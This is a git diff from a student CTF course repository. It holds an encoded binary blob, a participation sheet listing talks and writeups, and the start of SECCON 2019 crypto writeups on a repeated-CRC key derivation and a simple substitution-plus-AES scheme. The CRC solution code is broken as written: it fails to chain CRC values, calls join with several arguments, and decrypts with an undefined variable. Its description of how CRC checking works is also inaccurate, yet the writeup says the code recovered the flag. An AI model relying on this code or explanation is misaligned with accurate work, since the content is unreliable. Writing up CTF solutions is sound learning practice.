zxU_V2tn-WO7>jF7I}`UR@S{ecXK&i$I1@NNNj@FbK3ybXLfGvx{aumEIW2U$60jfd z^+|&u_96rNC-4y_3b0lwAY>^{VDVSXQ`A3qruK|fQ!ID)g^V^-h~9%2e)?ItY~vRy zUsgJozX|jyZm5#SGEsjT;|4RyDOej05qfWK0n%_1$bCN`2Alvt#nbHn9<9O(jE0Bi<{4>CxpPJK z%^8A2*$)mQY5YvL9>DmmNZjAHK!TKMAg2Iiqe6nT( z4OM`gtP7{i^+7xp7!SweEp=h!yLC8Gr@i|G61oty8P^R399Cjhs2#X@0ru0h)}fMry~v=1!q zxrb{fb9fU_knT<*K9z~$_sD`K2JVM4fJ=P`0D#^^Bm@Auu!yQ=z;5*fXyU|Hj%68* zHgwjdTy(fWm}|)=we(hoFiB6SW%@}^wfcWM zv6i-!Q%6oWh{mHca(V=RXo9%EyF?t!K(&R!1^;+vc!d9(p_#5>$26p7!Lew-#9l~n z1q2xIQz6QYRS**=ITowx{7$F-#9EHeinyWo+~qf$V+9cToscfP)UAvC@#Q9Co8G})q> zKu{2N@YR$3x|KHm%*VAdw;HsNH>)c^wKc@|CgE-?u>msjcxSug2u5EEz30yHd4`-V z2Ceb_QfYwjm9#VZMMy0;6s$sVHz1U%tk4iVnBcoBMEzyJG|#lB+W`mOy7yow;NxtI zSdrTSjXadq?We3q#5Lk}tdPUfDBpMYaFSqz?y_pIrM?&*MG|KGR)?F+1b1c?kh}-g zsS$9hH6mD-2}DD&rq63%*`NBW0h?z7PP;T5B?#LhMkBLLUZEx)ASqq0bKZc$mDQh! zWFY`8bl`fJ;|URRFH)^A z_PHTsNfVSASxU6-CRkPhEhWpBj(SKwlCfsvPP3MDf~JBDvAMd80W!V1uqV`Zvah~? z8+{JnAF*(POA3Hrra<4)6;1`Bn+2lk$JiBLPtYzKh?Qb^^hWQqlt6pXEc_H=Tdjm- zvmSWSB&{7Z#tNHEi#7*#dc>7Nyiw&uI9l%n92t|>flQLZli0|e(?^7#mUeL1AmG%Uwsm$sC>%c== zfOEc-Ems7tEp@jlc>@2t_~hbVnb5ds%8e&Nja9bW z0E?E$!6ZR6jcHxo{s#Q!6UYtx%FFUapg?%bHShw;ngO0K(ZZ=W2>EuTeMn%6F&Qvt zrJ1@d$-cY3x+&;dmGYvBnu;qHI&E%DQBd%v-e#a@PV2A0!TkY~ra{U!&As-1_eEdj>+grnMLF!I2Q zN91X5%Jip=!gI3nc;M`@rXu+?F zi28;qfOUi#$Dc<_DV*&^vO>G=IFbuxLy@L^U_?iPslH>UJHHEs*pWeas^c{F1>_G4 zdbxYkQ7M*fB~@9w0}dyR&qCL4v@b^A!`=MDs-jTT1PwqkIRHYq`~U%1j_Txf2%?l_ z0{x!=WPB=xOawlpUw6bI5G~!x3-T`HnLbOlYgT}}0#mXWy+~#~Y!V%^^vcdf4$L^9 zab4Q7?m&q|DAEKsx8|(AGP>tei1`^^Q8`^4BR)=9&QFxyb8zeD0fMyUT&LnBJ^+33 zbNc?-wg#(6-8Zq$B<{w^2Dz6cr00 zu^)SdGM}^s$iNNNtZW^+PZM76b#U!I;p294bDVyDdtIoZi{j^L?S^~Hg!&?U)*X{S z6OwN~nHui=qm0O$GM{xIwVbP+G?ydCqSMjzhnpQzKF&$$89tK?;nAD}&a zZrFnOEJu0UVbtkxozGR}qjN8A+3#=l=+5IQ%)8*5?RLlMbj|OY2XaI{(ifF{S20PA zJ_FGpxClcLYkd=_cOW}}-OX;;I{dvY8Kis}aT!92mIpN=QQb-C;9aRGD~XGC%&3?r z_=3Ln^|uoXs`}Y8@A+6J5R-F5$MOZp+Rtap+Fpe44vRnPwrE+i&Egaz@yoVMFSg0t z_q3}}^kNpEBd?V#@=23Ws0Fgsq_4pB56OWG`;Kixdi;&*keoCEHpHfc+pRzF7Eoae zaPMtcg>mB21%GuoPmjfoNsPbaIP&F~|3_Dk0pTagrIRSVYZch@ndP`x=L=$}qF1fj zNJi`((6kZU!us`TDwf>GpEp~dC<94fqi{pP!6LRBqUFeF17$` z$Lj<2ev#2QU>|A>@C?x!-aNIT_Z{k?lQ8~=2G)xhE9uUd*|Jxg&k8Ga_-WtHHm2z7 z`8xy3xicM8DoN`leX=vaUtW~x<`WZqZw(1ep|n;l6LWt|s{ME`l>bmmNmsl;Qu+9O#Y8EM%kW|NCSU;aaK0@n z>~g5jZ4&YcS%U|_FR7-Wx*y}Qd96fltF;r#CG9aCN!m7+<<3pkE!%s~4io)U)FjQK zC*OD*9bifR0e(J!kqV%HnUTsyFFf{aUx_&fNIs{OPXi{C+%N>P8LDqk-5WOM0&s98 z%O=)*78pnniueyDj<8^Oz3VnfoSb{cZSszzIUv7r25mUpB8)1E1HZn&^QCInK5*=M zjOunC!+mudWR3ZlQqbsI+6vvAGp#?nIS)$ITCpFch=?!qbYRj?`GkdqH3))qErkR!E3!SoQ#e!MOm+a3@hg;H?9Z^i zI6RI3zrba1vD>BPrO(DeE%M8)WJdh!yiZx{H0(Sw74I|^UPn&ta49-uOUit2CF=@E z-tG+qY~H7k81|(?73`0j!6Ri4M*Ik>b}|NGlP$oK<@)3wARY`#=^1hJsRWt$oK*lg zg8c1qi7_ZaJLc^=2LRAxeadWO$~}}<>pjTC0YAgS_8#rqx+x|W1(Hj{#sef)d&V%v z*3<*dKW!7mr@D?_kVzldGj-qUX}P&>1N}# zx*C{G`>tmadak6O%opGwOMUjc@DYm?)I(rv^{PuuN6o%fKdx=nu3(+~E;0i*)?S@b zK4ssoScdL7Z6>-*&)w4&07HYw+2`hid`KGHtHpT#6H-xKu{*}O$_`Z z7pVIw)9aOIlHSKE>i7S(_vP_Wx8L7WDtC)iDrJ|Xl}hE-SSpp|HiVKW6$Otq?fx(b-G z+iRd2wNOahh3;A|LOTISTc&A`0ZB@0Los#B+doUy5KT3WlOp`W15EVtqpC6t2$bf-?#;nhlr(sP-BQ6E}f)o~-y2izw*m=vy^ z-UZ+~Z8Lkr8gI~6g)WF@_?Azb)CQTzwFlO}Di_2@sQ|hZhC6iQYBCA>A9wVM@qYAC zsV`M^JSj!-<6Xl^tN*in_|baA?fY5W@jjXA-csD*0&FOaFNrSAh5(klgr*M=p}lmi zrHn}$a(jbL!_m)7L5ErB%&ZPf3wv*%w9p4tMsGCEa+2^fE%+IbrnLtF8K>1mLtAOX zqFB{YAtm9b_JzS*>wC&e>_<54Ay?J9du_y{K0CU$O~0q>B-`#6{F^{Tk(>Z!N_6jy zTcrs7eLRsgIdH40Y6EQ~3fOr>Wi70_P{qU*ey{UzUqs19da~I-?t*|b2k;yz;+qrb z7qyj_T|3o5HHQXNmg-5qPxf4I_y?RA)aH>tpZe48vTyXLX!df9LyV&dg0kNrU8}zt zX8k{-x#kJYWv;aVq04N}MlQcXi zHE`T!K8kZbBA^d)FjP5Rs%HFv&3oU!9%SPVc5dh8mwe?S2cv%q(G?+8e8h@7Zy!6>g?kPNiFI>!Wi1M`TYW0n_YL9*WR$uQKXz z>`#v!gg~I~EOvlcnp|LkxwUtRxlZ*H@o*9&cW5h5G$L@d<3&kINX)h;!kT#nxWj`X zHynZu(PD)KCQyf)v$67i8tytf=4Rr>KI!(ND7`fI?mK#p+Bt2luY;c2OJ^1W6beh} zk?jlUL!z=03MC;6&~qc8b<(6UI5Z}*vaF8?i4KP2>Gnx4d8)Ai+{h?xmB|@!BVj4G zSda(lfXyTzT%uJ<2)yR?VzEpK{gPZUfGN^JX*e?jM~@rerr^V=?mN2x;{-|uCb+5qeS zb5m%^g4UP7ZT__3-CY1WfuRpnuI?O!v$O5oNDzb#7OoO=1&;tKp+O8puyE8gO!<^9 z5>lIK%Jz{KRt3@_qBoPr(`2-?v`PoSdP2At(0`i}cx$N-AY@@}h?!^)A;QqsHE6TDaO&+~9;`@zBX z)JQ>aD6VsLglvDaE@asevZO)zR8#UY$(Ai7Q~UAp z8VyEw$GOeZT9&4f`j=g6S|~@%)ZlRx$LOUyiILShkPox__^+8MeQuK zSs|sM6S>(j**5iH@)cYfFwT0OjT6R^0fT7YRQqzLzNn5+o^A%KER3E$=CgtgO@X0P= z$GY5tZ2^qnLManAfEo8(HLiC&F!l(f+_F76rzugZfkq9LEsSN|;65A#jtZXTijRdb za^W;wrP-u0AbgD@fIJd0Kukyk5CJC49*V%4oKiOs<>{i9(n0l?MAh7uLNXo190RV!oLpn|D@G4WC}VV|*D@ zI2slP5oWk`6%5b-JtwcOMQ|H{8PiEpful*R5_Q?9AQ-Bk%K)w`_sDJm0dmO{E!-+d zy7rdVJB`WL_&R&i5&FN*`52Ns)UYU}Lk)uxh(m4%Hxq6w>oe%c4fs(Rd=7voCO(rr zP;u*RbLjQ(aN2R@4>HnHBvbW8GeEnMCtbsy-ThU#RHl1Y5|GM`2d+?N)mo1(6tFf; zcTXC=E`x+YBG(W3u!T;PoouU{LNC2-O^Z## zb?5kXV>3ndU(e7QMirWC6RhX1bkvgS(I^`v0%5G9+oxFPUJF*{^k{6kG2RZM$F=Sa z2_1P*>bd}D7Pg}i7>#RS5#8>9Vu_+2Jc$JL*pHe5$r_@P`1B|XEI$e943F}ipZkyi z7#De=_(X=fH)0EQ%cyQ~2W}ep&ND#Me2!d=FIc$aU*TOyK=19|Wl{=29`*P!t{fb~ zmoEH(FwHbXXSfV6ki&Lx^e2|QMotX9j?sSdEl_*M3reByLdw!#g#B1YVAVQ6Ef4gyL-;wMpp;>&i*}8fNSE{0z^dC-b;TIj-NCI;n6vg! z3*pZA^h!Xx@n*8~dkr~{cQ?l$bA+~06gBIjjVBw4Dii$aUckeE5JJsO>cR0JBk*Pb zJ$3@{?c4{)y0eh_^02+hNiHC?G`Lb-7ewAX#&{_1M?Kj7%WpD(4!A?};o0J5jF2(3H|!ZjQhBXCval|`S*amHIaauvgb0&DRS%A z^#DEte#Pi!;4d0vcffh+*_0uA*nbXoIB;c?wK@RE{orxj>-aQ}S7aD2Hjl2&*3Azi zsD=vu5EG(JRn)?rhSUR7SbX>!UUA?GfOe10kgy+L_<0n+5ywv>uvpt=#PNX3O*pLl z>&G=jGquwCO(X z6?guNq<4Is~BLob%GNysqnC6}Z6k~`9t6^fDK$q2NJbih<^t&KbHrE1k z&vDw!4GG>neWQ#SY7$5qUeGU|Nr0kqU%1Em-hrV5_6Pf+g>qH?qN0z8=2h9U;QQgD zP~*&y%V*p-EmRCu1R0gk*bNjCc#B>6tUb>;a54^XysAybQq|{)xHO(%iX4Tu)hN_L zgcdo@9bKHV14bz1xm*gtJ$&!jEvy%7%eT!X%1$BMfI>MyA^`k*6^Q%_wL%6`a^MAt z|Fgcl(FvxBGM+Q-jzT$CfB|&aa9*Y;>PF`y@E!s2M9TZ^KX8@EB8tsJ9S(-2aOMLq z3F+>Qf_AR+e6x^y0J`R(4j}EXeWB|sDh27#twqhb_=IlB+mKlezT>l`@TZt&b*Ffj|C_=y1bw7=0GcQ$9~-4qC)Mrd}L_n z8WLG<^~>AhHm@J+!}BIbsuP%8R zEY!#RHi%1S%pOv=ghuRI^}2BD>|*~m#B4$w!y-SPBCBZoL8#$ThUi}_CKG;Hw$*3Q zJXU(=Q*cWr3V`gsxZD2B&y6^7nPDb(;ym!A3l1^Pud4iQZo}06_1lv=+-G*kw<$iC zr|(~+tu43DZMV+SxflFZW}Q`dG+7K)!K!sFYe+iuIsZP^0$ees>w}YE+= zYo3=TNwwq-WEE3QvYEHLW#;o+ZKlkl0lY)^$$N7`UG$O(irRJCG&G{zW^|ct1S7u< zlO)Al=$xc90V^CqhU7wN9kfnksQ0|6fPg)#N!KbWU2Dql49U9XSQ%;lW3UptCqbyM zFJc~pp=~O*wycIoIO7h#BwQ4m1mK0RrFU>tj957Ay4fhm_hLSJMB;c!AEcXz1&Ed1 zurlv%!}5FofqhfvOMa;)6hu8}3Wb`Yc+)^CJX3T#yYR&U411z8JeoN4Gqh(+XI!{RZe(*`8Q9#;ehQ6)b_e-Jc)1*ONL)u zpuEg-@0p#}lgPe9Q>V3#G5_6iS7a0PFEAflpHoDZ6Z7yrRfBwu2{@D&Trc@Yx_;l- zpCgsV%0$yoqa zw*C=xNQZJ-yZ!X}H*K?7w*uJZ)_oPi_IWasZs4QX#ER&%CW52Z=1_p0#0dJL{`-z& z{`|Or5_`W%FZ9n~s+HsHV&CYgiml4ARre3S{jPkUEJaimF7@ov`5e?tN3?{1F}l!T`^k~= zm(CAyj@hG)wa2uSE;eF>n{?2mq3b8mhCh_SdJ}x-g{rmQNBLBu>F&*{QPe;qC6ej8 z_X=ZI@{B{$;K-;{+%vpuPhG~|X@np5pEB$@hj*-Do@)prJ@+_z*7hW*t>V`!Akf=C z5Z$9yB%@b2Y)YtlG^3(ET=k*z_Z(8@9 z9sg9ya(~}xB#|>DNa^?Mzc@6xaY%|nq%8{eX~_tJrJ$X=q49`twX}+(adL1T3`%!l znBAqj_X+xh*_Cc;#&BNmpv}9V=bAy-{zHid+xPYqaSzA4f6UkG4m|nwZilLaugX%| zRt-5t`gYcM5<5{uU~Fbn7W@N(qwcQ4gc$@_*wb&`!AKgM}wHV7Bf&NVG7 z)7tap>Pb)yo&{?x4_OnrtHQlSkDIJrbS}|60LiKrfV}I}+R6-){%||Y@)^4-cOU(k+x0-Uy`B|->H&5YuFN77f%k1bchGb#8dlw4&RgBExvE8 zC3GyIUH^Gqo7vK>PDRE>9>q)_jHA&tt#ndUxs5U+gFATR>#6;!WZt9(Kbcx+@2rTG zSq+kRvKjME_AhSURxV`G|0*NQ9*<%2rM`_5AIdT;>h{VDvXrFW_~i83Ka>5F{*=XO zUA#{6K9yYM6KQ*lv8;?Is=7LWvRme!w0w$z9L{z<&i0i0`dXJ}dAL!8mmOq$cELy> zue?^FZ-~|^ZU60UozI+zoxG*ykLCA>Ct92q+OcqV>^{G`Q$32?c16kYxNc6~ojS;0 zu~Lgsxy);mZEwwb6UOHwj;a{>ubO{M$v?y`suL>FXNIKu>#DR+q*ll=B(7?W?Yr_v4ukwh12b{!L}zcz zi!ZEY*x21;@zLIXanSS9u@M8c7ohIYPZOc`t79F(c<*@fi9z{l%=*%s@5(Ko$53(; zjV{}zlpn!<5F*s94E=s}-dOyIFy6Bzw-KE!vSv2HABIWI2&Iw-n;J*L(2baw9~MAG zEWS{zk}$rv-TQ=gfm2doj@D55p9u)9R#nw2Tbr=ogdLJx|x|lNIEWldQM!Un=xwKr)mtdA0~;6%FKlHn38zR`OPUa1?=c51%fGjsWvokl1m^|YN4k#IZ~XVx|9le9k^f{^r~D@qfBEYFWJ_PU z`=6}(-~67x8@#+h|H+U)aN=LP6j9VTDCfO>F{)y`^^FP>0{uC}6-AF;P!ak*-Tt%- z*sT)yvy5X+o2CPGCe^m`_X2UjQvJ)W0{%=o8G(dx23t>ds>z^J-iSB_d(X4v|7j$4 z0$)c$bH1;{ER?gNNQ<*uUl)Cdi#=%#G;D}+_~WyF8{(}~DEIHQ9b6HO-C1)rd(6A0rq@t_T{^dA| zX4f4x`3yn@z$W#8Gq^skIw!<08h?-h&K2M)ttIZcC7*dv^`b!geDKg03hkT^9qGXM zxm~-vM{NI|Yb=})AS0;WbtFB>A5Zg#x+A`dM;ZDz&NAP-eXd`IC0>~QB{XHe7+X5~ zL#h=3D5%?}jTpb5L;c@J{eQGpAI2c^R~h;hLbLnT)~XnCY$R=vA~{}eZFlA=Rj&EO z7ldqX@TrmlsciD-TO0K=NTC{W+$-T{*NlIch7T`8-FV!>x4rrygHU-B<<+_}yAGVc zOI+QD=Sn>gko&YvM+qhWz@P3Y$|bpgIROT#@Z~4zB_n)JA2D1#1o*H<5+cR)^pW~I zDmk|-yKe}r!gbeifXi%~|8CtnWz+jZ%`w4t{QgDs<{!I0>nQ* zwlG-OzT{nP(oPU`=Y=G_Z7iftv~A3saFZNWtM@$-H-&mIv)?{w51_bZScJ{JrU3r8 zX*R+<3uS(ZnJpHbpgeb=Xpmf$&>Hq+@!YA+G-A#^nK}1lmnxszTFd{UziC}C2Z=WB zfM16>NzZ-FcTBZ<6E8h2@bKIu`RZq@k{_Qt=R)Dgk6Sea0A5BwRH2mF(%I4H=ML!s z81%;PC$y)X7p9cg}Lv$q8FogXCfLW=!`YsNJBog5Z_Ep4ZRquGG5=lWlin< z@@Y-aS7_fkJrLaV>)*#)XDJTu3NzegFQ(U-C~x1vbpea>ac743_psfrb_r64n&3X)aZUZJ-f63fp zhKvRAIsOx{) zFr_UHlKtw-U!%D1sC<#-4y#A^FnWOkF%vkZ}ASU30_S zq7jdfoY+A-aHWPur`iW?49RA8c2)d>eRYhMP|xO1;>+7>+Ou9xHjpzLF;?`P*nAJj zy?}#@Td>#CnsJ@erUk9s^#fp|lABvF+9yJ)af|Nu+*xyTOn7xm=ue+x6tN;4@L{1>enu8rBo=sjs$|P@vmPWqXORe9;bUSYmohb}WAzb5R9avdl zy96s!oEuqO*H}vjDL8?4f#MX^HL9I%P{nt-8MpAwuO)8h&u&@)QaG0De7IcUye;&i6fwIoD@$nmyp`Bfg;+A3hjAuD$(p@`rTqZsZV= z^a?05?U>zclJ#?o>c^1fsNHugoWnmb@1XzsH@t_qoYN|I2umBzyn9sFV3Km3+=uO;%;j zslFXBcIm?MM3%uwl1t~ilV0tFYge5t?zyR(J;r%NmGTUpTqwtoLewKjXiYxO{G4+9 zOkcuPgIr049rXO89R(4>%WRG^suv+5wc|d49Dj$@_3NYzTWUpS#X`$kmq#dS9u71*|!3*Uj>)Zgud zOcD-ZLiQ=m^w%kV*?h0rkX3-U4s)YJV-83~-L-~;<0UzC9c}w#O$1fZsiVXxZofq= zqkxEWM1&Q7?u$)l4}uNo<;Q)nA!)+pDI@`NmhCkv^D0zs&;90>Sqjoz%cH}dgzWHE z+dlAKQ;w8-1p}r662H#7NiQDTl`r8pYn6TebIt%fSX^1gHtL)@g}yq{tx{c~CkDzM z{+#e9V*djDrGQ|#=MxZ8a@Fyxx8xCU9TZvrqrqI-LCBk$_3}iz*-y{2-l&d53+}9` zPSV~#3bxo2b^I+w?%-d95vrqH4D<})RUF)^xELQs^NUPw?K_veb*3E7hDj88>A9~$; z)2VN5?Xx3dg_EhZi*kjr7UpL-zX-yH&ScJKbM}5{y0ADQ2LE%L1NJkC+QmKzXFZ#> z?UZULj{Eeywz(QBKaOK)+q1jT@-oyCR+Oqn?e-3xX7ByI4{+t=6trRP*uqNc}ood3HlB z@pfcsYh0by1S{X7!>E$3Jz(A+5I+_BrSokHJfSzKj^Ce~omjRe{9F*#;ogo;sKt+z^WWdNym#5R19hi%#;Wb6mTR^;_rsg*ETRQ2 zf-R#9Bl%R^r6mf>?exu`{Z#*q<7_@u$ZZhBn0GUyGew(fhA`Zmm%8e32ot}#(|_*C zQB}_6v9*`zW)f+2e@3?@gH>Z%eI4(L*dD(=uAbwJXXSAh9YU(s&sfD4i>p3{-?kB= z3LgPj4(i0eJ@0nOuOiaO8Lu9+=k}@Put^DW&7z%@A??176)CvHIQmfSFjYg!9~ys>;!yH+`2b zI2%0ZH;uK|wf_EbltN?eMsWCkXfnFCg3|wfgy{7Dmn$*q?KRG9Q@z0Di8JqgQoMZ~ z9`6D7mX~XMV#-g6xckJRtHS7A3K%G@VpF>iR0u9HD!Q13?Xys2 zQ-G)^1&t67TtfsT2r`0&%z@55AOP82vHBr|h!G-wia0i9CX8N#@;y2WB&=x;?XKx3 zCfluya)3m4A4rh#}LiyHd2$N3t;cU382;6hQ2c6k_`Il?AnDd)3?OCZVNF%4`>) z)&XYdn|0fpacoU%8Sc>jJHw0{4=PT2(>V(s-FOHbnEF~_S#Mq| zpm|*|eIw8VZd*uB$SNtk@jTN#8y`4Iv!js-oN z4$EGtaQEax$el3Gj5M78Yu_|YT(Zhu8=`8lLNZ(D)YPe9k;hT13NhhEf3YT<_`-{2 zrqtx@!Yj>jSFRJN7Q{{MRZGxvAMJMfFf7THEs;Ko8@yK>9^}iT(`2W+#ZVG}7lDZB zqVEp#n%|VkU8+kz#N0p;e^Zwvn;BJn$42Z}M{DLe#~$33!-MKvM&n_~ z&`{nc-C}NGp;8(9mSzjWt#f^Lppe5t5AE|QQHdT1cK~}UZv9>iuvNlm%;IgVh@lq+ zk97yV#%ML_qhAhMFrRN}uc*~r-JyW;ofWXH4@INdyAt%70+ugvQ$ugPB6qM)1>cG! zd?|Ufi+;bc^3V#$)SS4)gq)=tFK1FL2xJ@GPT*;@H|dIB$1oMRg*sATVSl&=V)5AHTo zBWT`j^R(00BQJ4-c*yTgx9>9RtUFQY>T;`GpnEmi{_#A=^24&O2hn?XB~Zzn{d@P) zJEqE)oE)?WN1+htujt}ktPK0zZpE#FvD;VroxL+nkRZ0YU-Jtu)gLrCyA*0QCQu!Q zw3$vG6sH*zzqdX+rbDezxA|s&%Opv8cI4zHv9)TpvNZC?TXOi?3hR>WWI{d-UAK{} zjKSS!=~6mxNGOq_*pD2xde%@(swEtg3BpXjViUi}gxnpglIAZ!ef_2~MBCUHpPTVz z{8C62A-Y(}x<1#O9@!1*xn`OQJG-6R_JdS2qdIK=@fNidMlR0g!+TiV@NVw|y?xb}oj($qJ{@8(4)o59x-5)b-7#6jYVB zkDRot(Y{=%bgX)?SDqhN2!;Bl1=XJ>8|mfX%RzQn>K-}DkHP0cyIeLnmml$dg=0?+ zJ4y3~bAV6l$t{YnYlWvfqqnlS1yUw{K4R6ObqReP?uDw90?X@-5rme$eHv3sd)`-> z4}pwTM!ZQIezz7XMN4M#pr9}XxJJ>9nB%xt<*d>n^6~}Vjpv)hiBb^)35@!F<<7oi4PS%%`aleuL^^LznGhUYXj*VGZ?9%y;jkS>R2JLF#Q$^C4R9^uYN~8GEm4%&(y_`h2ce>y- zrEJ?oge*F19^*6!yv1<1xWU%z7uE&c{VXIVBju(d7iCy-1sz?>8?buIGRXyr+}bUB zeZ>T?H!eRAq}hZqY;iG+DbTK4?lL$}7}cqVMs3MDg_di}KRGF)GSk6_!eog0u7>m^ z)Yp|Ho^XhRghQ+)4W^I=%drJEzzUuOQ2GI(U%t*5@QJ^NM!m}T2oGFYv2IMM6D4t! z&!nc)=?`uqKv^gcT_|{RKpPGN>azw!2T{tv=0>H+z-&?DX+YKXO@e2m>ZAU{AE$cb ZQKNDhQY%Cns^AGIjU$-DS%=PF{Xbvvw&?%> literal 0 HcmV?d00001 diff --git a/writeups/ilm0/readme.md b/writeups/ilm0/readme.md new file mode 100644 index 0000000..3c72530 --- /dev/null +++ b/writeups/ilm0/readme.md @@ -0,0 +1,64 @@ +# Course participation sheet + +**student id**: 01528252 + +**nickname**: ilm0 + +**name**: Péter Szentkuti + +___ + + + +## Presentation + +I held my talk on 17.12.2019, presenting the challenge Quantum Key Distribution from the Google CTF 2019 Qualifiers. + +The slides can be found on the public GitHub repository. + + + +## On-site CTFs + +- hack.lu - 22.10.2019 +- RuCTFE - 23.11.2019 + + + +## Writeups + +#### SECCON 2019 Online CTF + +- Crazy-Repetition-of-Codes +- coffee_break +- Sandstorm + + + +#### Hack.lu CTF 2019 + +- COBOL OTP +- Lamport Verify +- Evil corp +- Shiny code + + + +#### ASIS CTF Finals 2019 + +- Serifin +- Primordial +- Secrets +- Bit game +- Protected area 1 + + + +#### CTFZone 2019 Quals + +- Strange PDF +- Joshua + + + +This section doubles as an index of the writeups in this repository. The actual works can be found in the Markdown documents with the respective names of the CTFs. \ No newline at end of file diff --git a/writeups/ilm0/seccon.md b/writeups/ilm0/seccon.md new file mode 100644 index 0000000..7466fa9 --- /dev/null +++ b/writeups/ilm0/seccon.md @@ -0,0 +1,344 @@ +# SECCON 2019 Online CTF + + + +## Crazy-Repetition-of-Codes + +**category**: crypto + +**description**: + +- + +___ + +We get a python source code for some kind of encryption. + +### Recon + solution + +**crc.py** + +```python +import os +from Crypto.Cipher import AES + +def crc32(crc, data): + crc = 0xFFFFFFFF ^ crc + for c in data: + crc = crc ^ ord(c) + for i in range(8): + crc = (crc >> 1) ^ (0xEDB88320 * (crc & 1)) + return 0xFFFFFFFF ^ crc + +key = b"" + +crc = 0 +for i in range(int("1" * 10000)): + crc = crc32(crc, "TSG") +assert(crc == 0xb09bc54f) +key += crc.to_bytes(4, byteorder='big') + +crc = 0 +for i in range(int("1" * 10000)): + crc = crc32(crc, "is") +key += crc.to_bytes(4, byteorder='big') + +crc = 0 +for i in range(int("1" * 10000)): + crc = crc32(crc, "here") +key += crc.to_bytes(4, byteorder='big') + +crc = 0 +for i in range(int("1" * 10000)): + crc = crc32(crc, "at") +key += crc.to_bytes(4, byteorder='big') + +crc = 0 +for i in range(int("1" * 10000)): + crc = crc32(crc, "SECCON") +key += crc.to_bytes(4, byteorder='big') + +crc = 0 +for i in range(int("1" * 10000)): + crc = crc32(crc, "CTF!") +key += crc.to_bytes(4, byteorder='big') + +flag = os.environ['FLAG'] +assert(len(flag) == 32) + +aes = AES.new(key, AES.MODE_ECB) +encoded = aes.encrypt(flag) +assert(encoded.hex() == '79833173d435b6c5d8aa08f790d6b0dc8c4ef525823d4ebdb0b4a8f2090ac81e') +``` + +If we try running the code we get an OverflowError: + +`Traceback (most recent call last):` + `File "crc.py", line 15, in ` + `for i in range(int("1" * 10000)):` +`OverflowError: range() result has too many items` + +The self-defined function crc32 calculates a CRC value(see TD) and this value is later added step-by-step to the key variable: + +```python +def crc32(crc, data): + crc = 0xFFFFFFFF ^ crc + for c in data: + crc = crc ^ ord(c) + for i in range(8): + crc = (crc >> 1) ^ (0xEDB88320 * (crc & 1)) + return 0xFFFFFFFF ^ crc +``` + +First it seemed, that this function sometimes returns random values, not the correct crc, but later this turned out to be due to the signing of results. + +We test it if our theory works in practice too, the only difference seems to be, that this function always returns an unsigned 32-bit CRC value: + +`print(crc32(0,"HELLO"))` > 3242484790 +`print((binascii.crc32('HELLO')) % (1<<32))` > (-1052482506 % (1<<32)) > 3242484790 + +I focused for a long time here on finding some kind of mathematical vulnerability or a smart solution, but brute forcing seemed to be the only solution. + +The code "builds" the ciphertext in 5 steps, these can be sequentially reversed, as they were sequentially appended. Let's reverse them one by one: + +```python +for i in range(int("1" * 10000)): + crc = crc32(crc, "TSG") +``` + +The operation does not use the CRC value as intended,rather than it will return it after `int("1" * 10000)` runs. We can make our code faster after reaching the first cycle (when the CRC value equals 0) and taking the modulus of the remaining steps. + +```python +def get_crc(s): + crc = 0 + steps = 0 + for i in range(0, int("1" * 10000)): + crc = ((binascii.crc32(s)) % (1<<32)) + if crc == 0: + steps = (i % 2 ** 32) + 1 + break + rest = int("1" * 10000) % steps + crc = 0 + for i in range(0, rest): + crc = ((binascii.crc32(s)) % (1<<32)) + return crc % 2 ** 32 +``` + +With this function we find the first cycle in the operation, then we apply apply it with the remaining value. + +An other problem was being able to use the `for` construct with our big range, normally we would get an Overflow error, but we can work around this by using `long_range` from the crypto_commons library instead. + +Armed with this knowledge and tools (reversing the CRC operation takes some time, but not unrealistically long, ~8 mins/part) we can construct our attack: + +```python +step1 = get_crc("TSG") # 2962998607L +step2 = get_crc("is") # 3836056187L +step3 = get_crc("here") # 2369777541L +step4 = get_crc("at") # 3007692607L +step5 = get_crc("SECCON") # 1526093488L +step6 = get_crc("CTF!") # 3679021396L + +step1_bytes = long_to_bytes(step1) +step2_bytes = long_to_bytes(step2) +step3_bytes = long_to_bytes(step3) +step4_bytes = long_to_bytes(step4) +step5_bytes = long_to_bytes(step5) +step6_bytes = long_to_bytes(step6) + +combined_key = "".join(step1_bytes,step2_bytes,step3_bytes,step4_bytes,step5_bytes,step6_bytes,) + +ciphertext_bytes = "79833173d435b6c5d8aa08f790d6b0dc8c4ef525823d4ebdb0b4a8f2090ac81e".decode("hex") +cipher = AES.new(combined_key, AES.MODE_ECB) +print(aes.decrypt(ciphertext_bytes)) +``` + +It will take approximately an hour to get our results, we receive: SECCON{Ur_Th3_L0rd_0f_the_R1NGs} + + + +### Technical details + +Cyclic redundancy check (CRC): + +> It is an error-detecting code used to determine if a block of data has been corrupted. + +[https://www.cardinalpeak.com/understanding-the-cyclic-redundancy-check/] + +CRC32 is calculated with the following polynomial formula: + +x^32 + x^26 + x^23 + x^22 + x^16 + x^12 + x^11 + x^10 + x^8 + x^7 + x^5 + x^4 + x^2 + x + 1 + +This value is appended to transmitted data block to check the integrity of the received data. When the received data is divided by the received CRC value the rest should be 0. + +As we saw, CRC operations are relatively easily reversible (even in our case, when they were not used in the way they were intended to). This makes them unsuitable for applications in cryptography. + + + +### Lessons learned + +- Approaching more complex crypto challenges +- CRC codes + + + +## coffee_break + +**category**: crypto + +**description**: + +The program "encrypt.py" gets one string argument and outputs ciphertext. + +Example: + +$ python encrypt.py "test_text" +gYYpbhlXwuM59PtV1qctnQ== +The following text is ciphertext with "encrypt.py". + +FyRyZNBO2MG6ncd3hEkC/yeYKUseI/CxYoZiIeV2fe/Jmtwx+WbWmU1gtMX9m905 + +___ + +### Recon + solution + +We are presented with a simple encryption scheme and a ciphertext: + +**encrypt.py**: + +```python +import sys +from Crypto.Cipher import AES +import base64 + + +def encrypt(key, text): + s = '' + for i in range(len(text)): + s += chr( ( ((ord(text[i]) - 0x20) + (ord(key[i % len(key)]) - 0x20)) % (0x7e - 0x20 + 1)) + 0x20) + return s + +key1 = "SECCON" +key2 = "seccon2019" +text = sys.argv[1] + +enc1 = encrypt(key1, text) +key=key2 + chr(0x00) * (16 - (len(key2) % 16)) +cipher = AES.new(key, AES.MODE_ECB) +``` + +The first thing that becomes clear is that the encryption simply uses some kind of character substitution. + +We are working with a cipher in ECB mode so we do not need an IV. We can use this same cipher to reverse the last step. Also, we are in the fortunate position of having access to all the keys used. + +```python +ciphertext = "FyRyZNBO2MG6ncd3hEkC/yeYKUseI/CxYoZiIeV2fe/Jmtwx+WbWmU1gtMX9m905" +cipertext_2 = cipher.decrypt(base64.b64decode(ciphertext)).decode("ascii") +``` + +Now let's take a close look at the encryption function: + 